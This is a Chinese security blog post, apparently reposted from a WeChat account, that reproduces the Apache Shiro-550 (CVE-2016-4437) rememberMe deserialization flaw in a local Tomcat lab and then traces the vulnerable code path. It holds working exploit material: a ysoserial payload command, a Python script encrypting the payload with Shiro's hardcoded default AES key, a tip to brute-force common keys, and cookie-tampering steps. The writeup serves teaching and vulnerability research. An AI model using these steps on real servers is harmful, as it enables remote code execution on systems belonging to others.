漏洞原理
Apache Shiro框架提供了记住密码的功能(rememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞,漏洞编号CVE-2016-4437。
影响版本
Apache Shiro < 1.2.4
指纹特征
返回包中包含rememberMe=deleteMe字段
环境搭建(IDEA)
shiro:https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
tomcat:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.80/bin/apache-tomcat-9.0.80.zip
修改shiro-shiro-root-1.2.4samplesweb
路径下pom.xml
文件第71行插入<version>1.2</version>
,如下:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
jdk环境设置为jdk1.8:
在项目中加入tomcat:
如果以上配置都完成了,编译执行后的web页面状态码显示500,那就把shiro-shiro-root-1.2.4sampleswebtarget
路径下的samples-web-1.2.4.war
替换掉。
漏洞复现
生成序列化文件
ysoserial:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
利用ysoserial
工具,在cmd
中执行java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils183NOCC " calc"
生成out.ser
序列化文件
对key进行编码
通过encode.py
对key
进行编码,key
与源码一致,out.ser
文件与encode.py
文件放在同一目录,如果没有源码,在github上找常用key
文件爆破试试运气
encode.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def get_file(name):
with open(name**,**'rb') as f:
data = f.read()
return data
def en_aes(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key**,** AES.MODE_CBC**,** iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return base64_ciphertext
if __name__ == '__main__':
data = get_file("out.ser")
print(en_aes(data))
在cmd
中执行python encode.py
得到编码后的key
抓包改包
对网站进行抓包,修改Cookie字段(实现命令执行弹出计算器)
原包:
改包后:
发包,成功弹出计算器:
漏洞分析
根据官方https://issues.apache.org/jira/browse/SHIRO-550 描述,以下4点很重要:
-
• 检索rememberMe的cookie
-
• base64解码
-
• AES解密
-
• 使用ObjectInputStream进行反序列化
调试
ctrl+n键全局搜索rememberMe
,发现CookieRememberMeManager
类:
看到rememberSerializedIdentity
方法,该方法使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值:
跟进方法发现,对rememberMe
的加解密操作,都在其父类AbstractRememberMeManager
中的encrypt()
/decrypt()
中进行,且在AbstractRememberMeManager
类中发现了硬编码的AES密钥,其base64编码形式为:kPH+bIxk5D2deZiIxcaaaA==
:
在decrypt()
方法下断点,网页端登录,查看函数回溯,发现是先在CookieRememberMeManager#getRememberedSerializedIdentity()
获取cookie中的rememberMe
字段的值,并进行base64解码。
然后再传入到AbstractRememberMeManager#convertBytesToPrincipals()
方法,该方法会调用AbstractRememberMeManager#decrypt()
执行AES解密操作。
解密完成后,调用AbstractRememberMeManager#deserialize()
执行反序列化操作。
再跟进AbstractRememberMeManager#deserialize()
,发现会调用DefaultSerializer#deserialize()
,继续跟进发现,看到了熟悉的readObject()
方法。
强调一下:反序列化(deserialize)是把字节流还原成对象,调用ObjectInputStream类的readObject()方法。
欢迎关注不懂安全⬇️
半山腰总是最挤的,你得去山顶看看
原文始发于微信公众号(不懂安全):rememberMe!经典shrio550漏洞复现及分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论